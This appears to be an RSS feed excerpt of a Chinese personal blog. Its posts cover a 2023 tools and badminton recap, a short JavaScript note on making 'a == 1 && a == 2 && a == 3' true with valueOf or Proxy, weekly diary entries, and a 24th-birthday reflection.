&lt;p&gt;&lt;img src=&quot;./attachments/QmbbJbY4RSBt5yDDQ7qKnM8ErS5myUTE7aSivedpAHsQ3V.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6078067589805882004-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXzwLr15w2n1ddi3co6tcibtJ8WkbBfQXWByEKqpbU1v4.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6078067589805882005-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmYEPRGM6LgiW7ZnMnYeSPVZhE8g24juj6hDwKkHXgKjjA.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6078067589805882002-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;23年我的工具折腾&lt;/p&gt;
&lt;p&gt;毕竟且趁闲身未老，喜欢折腾的心态还是一直没有变的，简单记录下今年折腾了一些啥吧&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;surge 虽然很早就买了授权，mac和ios都买了，但其实一直没有正式用起来&lt;/li&gt;
&lt;li&gt;Apple tv + infuse 这个还算简单吧，Apple tv追美剧实在是太方便了&lt;/li&gt;
&lt;li&gt;各种流媒体：Netflix、HBO、hulu、Disney+等等，不说了都是钱&lt;/li&gt;
&lt;li&gt;steam deck：这个我倒是没折腾，因为累了，64G反正也够用&lt;/li&gt;
&lt;li&gt;软件方面：主要是Ulysses、heptabase，分别是写作和卡片笔记整理软件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;23年我的运动记录&lt;/p&gt;
&lt;p&gt;今年主要还是羽毛球+跑步，偶尔去健身房撸铁
羽毛球细数一下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;断了大概预计有10根线吧🤣&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🐰年断的第一根线&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTyUsVSwobd2o8387d49XrcXsPeHpktEVAxdLZ4hc36if.jpeg&quot; alt=&quot;image 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;🐰年最后一根线&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmd3bq4gbCJDbuE3uRcrsNsUZTWEUzSNC7Wq2uVTCK1aVi.jpeg&quot; alt=&quot;image 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;全年总计打了243次羽毛球？？？数了下Fitness的数据把我看呆了哈哈哈哈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmey6Vq9g3FkEmFzbDrw2WNbxmM11qwBz2cWzxTmzwu6DC.jpeg&quot; alt=&quot;image 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果Fitness有总结，画风可能是这样的：&lt;/p&gt;
&lt;p&gt;你全年打了243羽毛球，你一定很热爱羽毛球吧（配图：不是在打球，就是在去打球的路上🐶&lt;/p&gt;
&lt;p&gt;跑步17次，还是太少了&lt;/p&gt;
&lt;p&gt;今年由于和网友拼车了Apple one全家桶，也开始喜欢用Fitness+来健身了，Apple的创意很丰富的，尤其是结合了Apple music的音乐，甚至还有Apple tv的《足球教练》特供版，可以看出Apple在内容生态这一方面的野心了🤔&lt;/p&gt;
</content:encoded></item><item><title>JavaScript 弱类型比较 ？实现 a == 1 &amp;&amp; a == 2 &amp;&amp; a == 3</title><link>https://rayepeng.net/posts/javascript-%E5%BC%B1%E7%B1%BB%E5%9E%8B%E6%AF%94%E8%BE%83-%E5%AE%9E%E7%8E%B0-a--1--a--2--a--3/</link><guid isPermaLink="true">https://rayepeng.net/posts/javascript-%E5%BC%B1%E7%B1%BB%E5%9E%8B%E6%AF%94%E8%BE%83-%E5%AE%9E%E7%8E%B0-a--1--a--2--a--3/</guid><pubDate>Mon, 25 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JavaScript 弱类型比较 ？实现 a == 1 &amp;amp;&amp;amp; a == 2 &amp;amp;&amp;amp; a == 3&lt;/p&gt;
&lt;p&gt;这是一篇关于JavaScript特性的小短文，计划有空就会写写这种小知识点的文章&lt;/p&gt;
&lt;p&gt;在JavaScript中，定义一个变量a，使得：&lt;/p&gt;
&lt;p&gt;a == 1 &amp;amp;&amp;amp; a == 2 &amp;amp;&amp;amp; a == 3 === true&lt;/p&gt;
&lt;p&gt;解法 1：重写 &lt;code&gt;valueOf&lt;/code&gt; 方法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代码示例&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;let value = 0;
const a = {
valueOf: function() {
return ++value;
}
};&lt;/p&gt;
&lt;p&gt;console.assert(a==1 &amp;amp;&amp;amp; a==2 &amp;amp;&amp;amp; a==3, true);&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;原理&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当 &lt;code&gt;a&lt;/code&gt; 被用于比较操作（如 &lt;code&gt;a == 1&lt;/code&gt;）时，JavaScript 引擎调用 &lt;code&gt;a.valueOf()&lt;/code&gt; 来获取其原始值。&lt;/li&gt;
&lt;li&gt;我们重写 &lt;code&gt;valueOf&lt;/code&gt; 方法，使其每次调用时返回递增的值。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;运行结果&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一次比较：&lt;code&gt;a.valueOf()&lt;/code&gt; 返回 &lt;code&gt;1&lt;/code&gt;，所以 &lt;code&gt;a == 1&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;第二次比较：&lt;code&gt;a.valueOf()&lt;/code&gt; 返回 &lt;code&gt;2&lt;/code&gt;，所以 &lt;code&gt;a == 2&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;第三次比较：&lt;code&gt;a.valueOf()&lt;/code&gt; 返回 &lt;code&gt;3&lt;/code&gt;，所以 &lt;code&gt;a == 3&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;解法 2：使用 &lt;code&gt;Proxy&lt;/code&gt; 对象&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代码示例&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;let value = 0;
const a = new Proxy({}, {
get: function(target, name) {
return ++value;
}
});&lt;/p&gt;
&lt;p&gt;console.assert(a.anyProperty == 1 &amp;amp;&amp;amp; a.anyProperty == 2 &amp;amp;&amp;amp; a.anyProperty == 3, true);&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;原理&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Proxy&lt;/code&gt; 对象用于创建一个对象的代理，允许我们拦截和自定义基本操作，如属性访问。&lt;/li&gt;
&lt;li&gt;我们拦截对 &lt;code&gt;a&lt;/code&gt; 的任何属性的访问，并在每次访问时返回递增的值。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;运行结果&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;与 &lt;code&gt;valueOf&lt;/code&gt; 方法类似，每次属性访问都会返回递增的值。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmewa4B1mxsJ3ujR3Vk9MckXbQb4W1oGweZ61dbNa3BJtQ.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报23 深圳的冬天、学会聚焦与一些2023回顾</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A523-%E6%B7%B1%E5%9C%B3%E7%9A%84%E5%86%AC%E5%A4%A9%E5%AD%A6%E4%BC%9A%E8%81%9A%E7%84%A6%E4%B8%8E%E4%B8%80%E4%BA%9B2023%E5%9B%9E%E9%A1%BE/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A523-%E6%B7%B1%E5%9C%B3%E7%9A%84%E5%86%AC%E5%A4%A9%E5%AD%A6%E4%BC%9A%E8%81%9A%E7%84%A6%E4%B8%8E%E4%B8%80%E4%BA%9B2023%E5%9B%9E%E9%A1%BE/</guid><pubDate>Mon, 25 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报23 深圳的冬天、学会聚焦与一些2023回顾&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcHdmjUCv2giweFu7WsHQdd4aeLnD8S26BJtG3UovvKHR.png&quot; alt=&quot;week23&quot; /&gt;&lt;/p&gt;
&lt;p&gt;深圳大降温了。&lt;/p&gt;
&lt;p&gt;老舍有一篇文章，“济南的冬天”，课后有个阅读理解题我一直还记得，“为什么不是冬天的济南？作者这样写有什么用意？”&lt;/p&gt;
&lt;p&gt;有什么用意呢？我不想批评应试教育，总是要贴心地帮着作者想出一些问题来，但毕竟提出问题总是好的。&lt;/p&gt;
&lt;p&gt;当我写下这个标题的时候，很自然而然的，我就是想写深圳的冬天，仿佛上帝从宇宙中俯视地球，洛杉矶在下雨，好望角烈日炎炎，西伯利亚的冷风还在刮。每一个所能被经纬度标注的地区，气象各异。&lt;/p&gt;
&lt;p&gt;而我这所处这一点，可能连最精确的芯片都无法精确表征出的位置，此刻正处于深圳，经受第一场严冬的洗礼&lt;/p&gt;
&lt;p&gt;这也算是23年的最后一篇周报了，12月起开始偷懒了，花在写作的时间逐渐变少了，但还是会一直写下去的&lt;/p&gt;
&lt;p&gt;圣诞的夜晚，Merry Christmas&lt;/p&gt;
&lt;p&gt;学会聚焦&lt;/p&gt;
&lt;p&gt;这个世界没有什么四两拨千斤的神话传奇，只有敢于在战场上拼刺刀的勇士&lt;/p&gt;
&lt;p&gt;12月22日是部门年会，我这个中奖绝缘体只有在21年刚入职的时候才中过大奖，后来几次年会就再也没有中过了🥹。但当天下午的闭门会，才是我从中最受益良多的&lt;/p&gt;
&lt;p&gt;三年前我第一次来这个部门实习的时候，估计是觉得微信-发现-游戏入口的红点太多太烦了，于是直接把它给隐藏了，以致于leader当时跟我说，可以在微信游戏里领到很多游戏福利的时候，我竟然一脸茫然，不过当初的我还是连连点头表示知道了🐶。其实，不止我，部门内很多同学都不知道或者基本不会去打开，这还一定程度成为了老板给我们的KPI——如何让部门内的同学先使用起来，不过这都是后话了，此处不提。&lt;/p&gt;
&lt;p&gt;那时候，小游戏基本处于劣币驱逐良币的状态，随手打开的小游戏全都是充斥其中的广告，我们和产品同事还有个微信群，谁发现了恶意诱导用户点击广告的case就会反馈，我当时还和同事抢着不断地往群里丢，不过现在这个群已经几乎没人反馈了（侧面也反映出小游戏生态越来越好了）&lt;/p&gt;
&lt;p&gt;谁又能想到呢，部门的两大核心业务，一个成立十周年，另一个已经过了六周年，筚路蓝缕，以启山林。&lt;/p&gt;
&lt;p&gt;但反观我这一年，精力太过分散，相比去年反而在不断退步。不过好在导师和leader也都察觉到了，及时跟我交流后让我学会重新聚焦&lt;/p&gt;
&lt;p&gt;之前从《贪婪的多巴胺》中也吸取到一些经验，我在一定程度上也属于那种不断去追求新事物，其实这不过是一种很低级，很省事来获取多巴胺的一种方式，并且事后也会越发的疲倦。&lt;/p&gt;
&lt;p&gt;中文博客微信群&lt;/p&gt;
&lt;p&gt;加入了小胡同学的中文博客微信群，群聊名片中带上自己的博客域名，这种交流方式真的好酷！&lt;/p&gt;
&lt;p&gt;加入到微信群后也遇到了一些有趣的事情，大家聊的话题都很广，偶尔窥屏或者参与一些讨论摸摸鱼&lt;/p&gt;
&lt;p&gt;深圳的朋友还是挺多的，在聊天的时候还会发现原来就在同一栋楼或者相隔不远的地方上班哈哈，说不定还在上下班的人流中曾见过一面呢，缘分也就是这么奇妙&lt;/p&gt;
&lt;p&gt;小胡同学的严选推荐很棒！&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://huhexian.notion.site/huhexian/66a7d139a06b46ccac9236d1e58b9a2a&quot;&gt; 小胡同学的剁手安利库 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一些2023年的总结&lt;/p&gt;
&lt;p&gt;国外的APP总结都来的好早，国内的可能都得要最后一周了，到时候估计会写到年终总结 or 24年的周报里吧
并且也打算安利下我23年都看过哪些书，追过哪些剧，也做一个属于自己的2023年推荐了&lt;/p&gt;
&lt;p&gt;学习的&lt;/p&gt;
&lt;p&gt;多邻国的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcarLgiPkKH2FmDdpBbqPHb8mcgsbSb6xzpLo6ECvithx.jpeg&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;游戏的&lt;/p&gt;
&lt;p&gt;Xbox的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmc4M9eZdojSCYiJYJmKN5e2Yjm1ctJ3vxHJGVE578mADL.jpeg&quot; alt=&quot;telegram-cloud-document-5-6055106122954585641&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ps5的（毕竟今年刚到，没来得及玩）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmQaqJv4EB1kW5JtgoubYJRcXiXzF36AWR81PT8jNQT1ZP.jpeg&quot; alt=&quot;telegram-cloud-document-5-6055106122954585644&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Steam的（今年独立游戏买了一堆，但是都没怎么玩）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmfY4eEXLkM5Dy9PJojJdahH5tbDNwuKYg1jjYFuPcKfBZ.png&quot; alt=&quot;ec0b31a0-154b-4bd1-8145-b962b55cfffb&quot; /&gt;&lt;/p&gt;
&lt;p&gt;听歌的&lt;/p&gt;
&lt;p&gt;果然我最钟爱的还是黄老板，基本都是他的歌了&lt;/p&gt;
&lt;p&gt;Spotify的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmemperMVo3MJjQzu6m6V4to3HALsXXWVGCnvAkUDcn9KP.jpeg&quot; alt=&quot;telegram-cloud-document-5-6057434789797956961&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apple music的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmUhvRFPYu21vJmBD6rTMD7Yb67xJWjHH3SEuT6N6MLFxh.png&quot; alt=&quot;telegram-cloud-document-5-6057434789797956955&quot; /&gt;&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：（内容太多了，欢迎到我频道里去看吧，不一一放了）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://utgd.net/article/20484/&quot;&gt; 从格斯纳、林奈到达尔文：信息管理的另一种叙事 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://book.douban.com/annual/2023/?fullscreen=1&amp;amp;source=doumail&amp;amp;dt_dapp=1&amp;amp;dt_platform=com.douban.activity.wechat_friends&amp;amp;event_source=timeline&amp;amp;refer_uri_app=douban://douban.com/timeline&amp;amp;author_id=40005481&quot;&gt;豆瓣2023年读书榜单&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hellotangman.xlog.app/Strolling-and-painting&quot;&gt; 走走画画，在山野间探寻自我 | 北京漫步 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=yfbM8Hmni3E&quot;&gt; 2024年“先立后破”，怎么“立”，怎么“破”？【汤山老王】 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MjM5NzQwMjI4MA==&amp;amp;mid=2657260190&amp;amp;idx=2&amp;amp;sn=f801554a90aa9e38a006977278677335&amp;amp;chksm=bd4cb1598a3b384f933afe98bb6ac55189c0f8d31a4383423091d28a8832f854bd1c0007a98brd&quot;&gt; 游戏公司股价集体暴跌，《网游管理办法征求意见稿》该如何理解？ &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>24岁独白——拔剑四顾心茫然</title><link>https://rayepeng.net/posts/24%E5%B2%81%E7%8B%AC%E7%99%BD%E6%8B%94%E5%89%91%E5%9B%9B%E9%A1%BE%E5%BF%83%E8%8C%AB%E7%84%B6/</link><guid isPermaLink="true">https://rayepeng.net/posts/24%E5%B2%81%E7%8B%AC%E7%99%BD%E6%8B%94%E5%89%91%E5%9B%9B%E9%A1%BE%E5%BF%83%E8%8C%AB%E7%84%B6/</guid><pubDate>Wed, 06 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;24岁独白——拔剑四顾心茫然&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmRbJKfcpKDFmC2V7eTnUGudz7eob5fFrRtGGAgAoW2tZn.png&quot; alt=&quot;Group 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;2023年11月7日，度过了我的24岁生日&lt;/p&gt;
&lt;p&gt;很多想法自然是想写下来的，可落笔时却依旧感到无言可说，似乎一切想要表达的感受，写成文字总是欠缺了一点点意思&lt;/p&gt;
&lt;p&gt;24岁，人生的年轮已经过了两轮，本来今年是我的本命年的，不过似乎并没有遇到特别不顺的坎坷？也可能是今年农历都没有9月30，照理我在今年是没有农历生日的🤣&lt;/p&gt;
&lt;p&gt;写作永远是和自己的对话，有些想不清楚的问题，不愿意面对的现实，如果永远不写下来，似乎就缺乏一个落脚点。我们终究不是三体人，无法直接通过思维的交流来实现信息的高效传达&lt;/p&gt;
&lt;p&gt;文字是一种很美的事物，方块的汉字尤为更佳。尽管我写下的这些，或许不能表达出万分之一的思考与感情，但我还是愿意写下来&lt;/p&gt;
&lt;p&gt;这篇生日独白，和2023年总结可能有点冲突（谁让我的生日过完这一年也就快过完了呢🥹），不过我还是想从另一个角度去重新认识自己&lt;/p&gt;
&lt;p&gt;我想到了几个关键字，成长&amp;amp;思考，朋友&amp;amp;阅读&lt;/p&gt;
&lt;p&gt;成长&amp;amp;思考&lt;/p&gt;
&lt;p&gt;回顾24年来的经历，可能更多的是顺风顺水，没有经历过所谓大起大落。也有可能是那些曾经历过的，再回过头去看时，也终究是被视野所局限的小土堆罢了&lt;/p&gt;
&lt;p&gt;我的眼前不自觉的出现了一些图景，那个初一期中考试前一晚因焦虑睡不着觉，独自落泪的小孩&lt;/p&gt;
&lt;p&gt;那个在语文课上，因为回答不出问题，而害羞脸红的小孩&lt;/p&gt;
&lt;p&gt;那个在成人礼上，折好纸飞机，哈一口气，写下自己的理想的懵懂少年&lt;/p&gt;
&lt;p&gt;那个第一次迈入武汉大学，亲声念出，“国立武汉大学”六个字的少年&lt;/p&gt;
&lt;p&gt;那个在大学时，四处辗转，西安，天津，福州，苏州，贵州都留下足迹的少年&lt;/p&gt;
&lt;p&gt;以及，三年前，只身一人南下，来到深圳这个城市成为一名打工人的少年&lt;/p&gt;
&lt;p&gt;过往的一幕幕不断涌现，那些在我看来有些平淡的经历，却也组成了平行时空中的一个“我”&lt;/p&gt;
&lt;p&gt;想想自己，没有经历过创业，也没有去过很遥远的地方，没有得过严重的疾病，小学，初中，高中，大学，工作，按部就班，似乎也没有什么问题&lt;/p&gt;
&lt;p&gt;曾经小时候吃席的一刻，还是教育局局长的大伯问我，长大后想做什么，我也不知道，我那时可能真的不知道，还只停留在背教科书上答案的年龄，能有什么想法呢？&lt;/p&gt;
&lt;p&gt;或许我从来都没有机会成为一个遗世独立的天才，我也不抱什么希冀。我只是为了满足自己日益增长的好奇心，以及带着那么一点点的不甘心，再加上一点点伴随出生而带来的周围亲戚嘲笑，在一个又一个岔路口左转或右转。&lt;/p&gt;
&lt;p&gt;也曾陷入泥淖，也曾被深渊阻隔，也会被大雨淋湿，也会因厌倦而躺下，也会因指南针失灵而迷路&lt;/p&gt;
&lt;p&gt;还记得实习那会，由于工作偏向研究性质，每天几乎都在头疼中度过，周末也会来公司加班寻找思路，但很快就变成被焦虑感所击垮，编程一天的王者峡谷之旅。好像只有沉浸在游戏中，才能短暂的忘却掉眼前的烦恼。&lt;/p&gt;
&lt;p&gt;我也曾幻想“一剑曾当百万师”的豪情，也曾低吟“一剑霜寒十四州”的诗句，这些美好的字眼，仿佛力透纸背，但却透不过屏幕上一页浅浅的ppt。&lt;/p&gt;
&lt;p&gt;还记得一年后，随着业务慢慢熟悉起来，工作仿佛又开始游刃有余起来。可随之而来的项目仿佛又在嘲弄我的无知，最迷茫的时候，周末时把自己一个人关在公司的会议室里，不断地在白板上一遍遍重复，疲惫之余望向窗外，本以为能看见云雾缭绕的山峰，结果却是一栋栋的高楼，阻碍了我的视线。&lt;/p&gt;
&lt;p&gt;所幸，那些迈过去迈不过去的坎，回过头来看也早就被泥土给填平了。&lt;/p&gt;
&lt;p&gt;工作两年后，开始意识到自己逐渐落伍了，翻了翻曾经封笔很久的博客，一边感叹自己少年的无知，另一边内心也开始蠢蠢欲动，那就开始写吧。本以为也会三分钟热度，没想到一写就是半年多，一写就是接近10w字，看来工作对人的改变还是很大的吧。&lt;/p&gt;
&lt;p&gt;朋友&amp;amp;阅读&lt;/p&gt;
&lt;p&gt;似乎自己一直以来都是一个性格较为孤僻的人？但往往旁人眼中却不是，每一个阶段，总伴随着旧朋友的分别，与新朋友的相知。MBTI的三次测试也告诉我，本质上我还是一个E人。&lt;/p&gt;
&lt;p&gt;一直以来都奉行“君子之交淡如水”的理念，不愿掺和到小团体之中，这也就导致了我交友特别广泛，但真正能值得谈心的朋友，可能真的没有。&lt;/p&gt;
&lt;p&gt;朋友对我的评价是，似乎任何话题我都能接上来，这也本身源于我的兴趣爱好特别广泛。&lt;/p&gt;
&lt;p&gt;我一直相信，以真诚待人，必能收获真诚的朋友。尽管在这之中，也受到了很多伤害，那些无意义的指责，曾经还有些在意，心态的逐渐转变，也让我渐渐懂得了一些，可能成年人的生活就是这样吧，怪道说都是戴着面具和伪装生活的，但是我不想活的那么累。&lt;/p&gt;
&lt;p&gt;似乎自己从来也没有很认真的过过生日，也很羡慕那种大学时就玩得很好的朋友，过生日时朋友们还特地飞过去给他庆生，自己可能从来得不到这种待遇吧，不过也慢慢地习惯了。&lt;/p&gt;
&lt;p&gt;一直以来都是喜欢阅读的，学生时代，每逢过年的晚上，那时还在农村，拾起晒干的木柴，点上引子，在寂静的夜晚，听听柴火的噼里啪啦声，炸裂声，妈妈每次都会半开玩笑的说，感觉我不像是亲生的，因为她和爸爸都没怎么读过书，不知道为什么这个孩子为啥这么喜欢读书&lt;/p&gt;
&lt;p&gt;瞎写了这么多，就草草先结束吧，能读就行，后面再慢慢完善吧&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报 22 书店、杂记与写作带给我的变化</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A5-22-%E4%B9%A6%E5%BA%97%E6%9D%82%E8%AE%B0%E4%B8%8E%E5%86%99%E4%BD%9C%E5%B8%A6%E7%BB%99%E6%88%91%E7%9A%84%E5%8F%98%E5%8C%96/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A5-22-%E4%B9%A6%E5%BA%97%E6%9D%82%E8%AE%B0%E4%B8%8E%E5%86%99%E4%BD%9C%E5%B8%A6%E7%BB%99%E6%88%91%E7%9A%84%E5%8F%98%E5%8C%96/</guid><pubDate>Mon, 04 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;./attachments/QmYZ6kSVHmyhFzyx5oMD8ohXmX4vRw2vai2ZeXH4CxD3Ci.png&quot; alt=&quot;Group 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;周报又拖了好久，最近是要反思下为什么没有沉下心来写作了🐶。不过我的flomo里已经记录了很多最近的感想，比如历史，比如坐公交车，比如阅读等等，但总还是缺少一点去写下来的契机。&lt;/p&gt;
&lt;p&gt;不得又开始回忆起自己为什么要写周报呢，最开始写的时候是想记录自己一周内比较好玩的事物，但这样的素材往往会很少，而且光是记录也会逐渐流于形式。于是开始扩充内容，阅读，追剧，杂记，都会往周报里写，写着写着又觉得不太对，感觉这些内容是不是要单独拎出来比较好？于是就开始纠结了。&lt;/p&gt;
&lt;p&gt;不过也无所谓了，如果是我想单独拉出来写的，就单独写吧。其他的看情况就一股脑记录在周报里得了，也懒得去纠结，先做了再说。&lt;/p&gt;
&lt;p&gt;最近一段时间还是挺快乐的~，哈哈具体原因后面会慢慢写，我还欠了好多文章呢。&lt;/p&gt;
&lt;p&gt;Ps.有人说我的写作风格很细腻，很像一个女孩子？尊嘟假嘟🐶&lt;/p&gt;
&lt;h2&gt;吾非书店&lt;/h2&gt;
&lt;p&gt;已经写在这里了，自不必多言，&lt;a href=&quot;https://rayepeng.net/wufeishudian&quot;&gt;https://rayepeng.net/wufeishudian&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过12.2的那天，又被受邀在书店分享了《夜晚的潜水艇》，当时多补充了一点，记录在这里吧：&lt;/p&gt;
&lt;p&gt;首先还是感谢吾非书店的邀请，说起这家书店，我还是有些东西想和大家分享的。&lt;/p&gt;
&lt;p&gt;我大概都是在三个月前，应该就是中秋节那次，书店有个活动，那个时候我才知道这家书店的&lt;/p&gt;
&lt;p&gt;这是一个很惊喜的过程，因为我每天上下班都要从这个路口经过，但我从没来有想到过，就在这每天平平淡淡，两点一线的生活中，居然有一处类似桃花源记里的存在&lt;/p&gt;
&lt;p&gt;所幸，桃花源会消失，书店不会，尤其是在这个实体书店日渐式微的当下&lt;/p&gt;
&lt;p&gt;上一次来书店，欣赏了下衣然店长的台风，听她讲述了自己成为一名店长的故事，当时感慨良多，后来写过这样一段话&lt;/p&gt;
&lt;p&gt;可这世上总该还是要有一些人去坚守，总有些价值是无法用价格来衡量的，总有些逆子，生长于疾风之下，咬定于青山之中&lt;/p&gt;
&lt;p&gt;附上一张图吧，来的人也有13个左右，而且也没有中途离场的，还是挺开心的哈哈哈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmVYAp68fXNciwp14pbX9exmrFVRPVaNZg6phNby1MFJ1d.jpeg&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;写作与工具——何必在乎别人的看法？&lt;/h2&gt;
&lt;p&gt;这几天也看了Bruce对于写作和折腾工具的思考，指路：&lt;a href=&quot;https://yinji.org/5182.html&quot;&gt;https://yinji.org/5182.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;也贴一下我的观点吧&lt;/p&gt;
&lt;p&gt;我还是觉得，写博客的人，是要稍微降低一点优越感的，本质上都是网民罢了，你在互联网上书写你的故事，他在手机短视频消磨他的时间，彼此静好&lt;/p&gt;
&lt;p&gt;其次，想好自己的目标就好了，我就是折腾工具，看着博客页面赏心悦目，你这一句嘲讽又有啥。我就是想要写文章，不管什么界面的，只要有个网页那也好。&lt;/p&gt;
&lt;p&gt;最后，这种嘲讽也没什么大不了的，我们不是也嘲讽那群只用手机上网的键盘侠么，人家在背后也指不定嘲讽你们这群自以为是的人呢。你是怎样，你就是怎样，又会为别人的言论而改变什么呢？&lt;/p&gt;
&lt;p&gt;但是，某一天，我的观点突然又变了&lt;/p&gt;
&lt;p&gt;因为我站在一个旁观者的视角，我发现，这种毫无道理的指摘，似乎本身就是错误的。&lt;/p&gt;
&lt;p&gt;除了说你怎么老是折腾模版，博客倒是没写几篇。那么同样的问题，完全可以提好几个，比如你怎么老是写流水账，一点深度的内容都没有；你怎么老是写生活记录，一点技术类的文章都没有。&lt;/p&gt;
&lt;p&gt;这种毫无逻辑，毫无道理的指摘，让我想起了小学时的一篇课文，搜索了下，&lt;a href=&quot;https://www.thepaper.cn/newsDetail_forward_3971408&quot;&gt;https://www.thepaper.cn/newsDetail_forward_3971408&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;大意就是父子俩进城赶集，本来是父亲骑驴的，结果被路人指责父亲太狠心，于是让儿子骑驴，却又被指责儿子太不孝顺，… 凡此种种，最后已经不知道怎么做了&lt;/p&gt;
&lt;p&gt;这篇故事对我的影响是很深的，以致于我现在都还记得。&lt;/p&gt;
&lt;p&gt;因此，所谓“我们大可宽容些，没必要事事都嘲讽。”，我觉得说的不对。&lt;/p&gt;
&lt;p&gt;我觉得应该直接骂回去，你tm就是个垃圾，还有资格来说我？（笑死哈哈哈哈🤣），或者，就干脆眼不见心不烦得了。那种让什么互联网多一点包容？包容个锤子，我调整好自己就行了，还帮那种败类操心&lt;/p&gt;
&lt;h2&gt;写作给我带来的变化&lt;/h2&gt;
&lt;p&gt;为什么要多写作，多读书，多去记录自己脑海中随时随地闪现的想法，好处无外有三&lt;/p&gt;
&lt;p&gt;书读多了，字写多了，自然会体现在各种各样的地方，或是人的谈吐，或是阅历的加深，或者情感的共鸣。自从我上次主持分享之后，我发现我去年立的flag已经慢慢实现了&lt;/p&gt;
&lt;p&gt;回想以前，偶尔写点东西还可以，但是一到要说出来，表达出来的时候，就开始紧张，开始冒冷汗。究其原因，其实是经常害怕会出现上句不接下句的情况。于是，很担心自己说不好，往往想到一个就要马上说出来，语速又快，说完了又开始卡壳。&lt;/p&gt;
